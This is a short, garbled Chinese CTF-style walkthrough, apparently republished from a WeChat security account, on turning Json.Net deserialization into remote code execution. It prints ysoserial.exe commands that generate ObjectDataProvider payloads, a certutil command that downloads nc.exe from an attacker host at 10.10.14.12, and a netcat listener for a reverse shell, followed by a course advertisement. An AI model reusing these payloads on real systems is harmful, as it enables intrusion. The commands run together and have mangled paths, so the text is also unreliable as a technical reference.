介绍

echo "base64encodedtext" | base64-d | jq

echo '{"Id":1,"UserName":"s12","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}' | base64 -w 0

无法反序列化 Json.Net 对象”。我不需要更多……足够了这些。。

制作恶意代码

要执行此步骤，我们将需要一台 Windows 机器，并且只能访问互联网。一旦我们有了 Windows 机器，我们就从这个存储库下载 Releases zip文件：提取所有 zip 文件后，您可以看到一个名为 Releases 的文件夹，单击内部并查看是否有一个名为 ysoserial.exe 的 exe，如果它在这里，则一切正常。打开CMD -> 使用cd命令进入ysoserial.exe文件夹-> 执行exe查看帮助菜单

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping IP_KALI"

好的，这是代码，但此服务器在 base64 中工作以执行此操作，我将命令修改为：

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping IP" -o base64

结果

替换为ping的payload：

Kali: 
python3 -m http.server 80ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil.exe -f -urlcache -split http://IP_KALI/nc.exe C:Windows
SysWOW64TasksMicrosoftWindowsPLASystem nc .exe " -o base64 

Kali: 
rlwrap nc -lvnp 1212
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil.exe -f -urlcache -split http://10.10.14.12/nc.exe C:WindowsSysWOW64TasksMicrosoftWindowsPLASystem nc.exe" -o base64

结论

QQ学习群

微信群

想成为Kevin Mitnick一样的

黑客教父？不存在的

想成为渗透之神？醒醒吧

看了无数入门视频，依然搞不到Shell

不妨看看《安全帮Live》

原文始发于微信公众号（安全帮Live）：实战 | JSON反序列化到RCE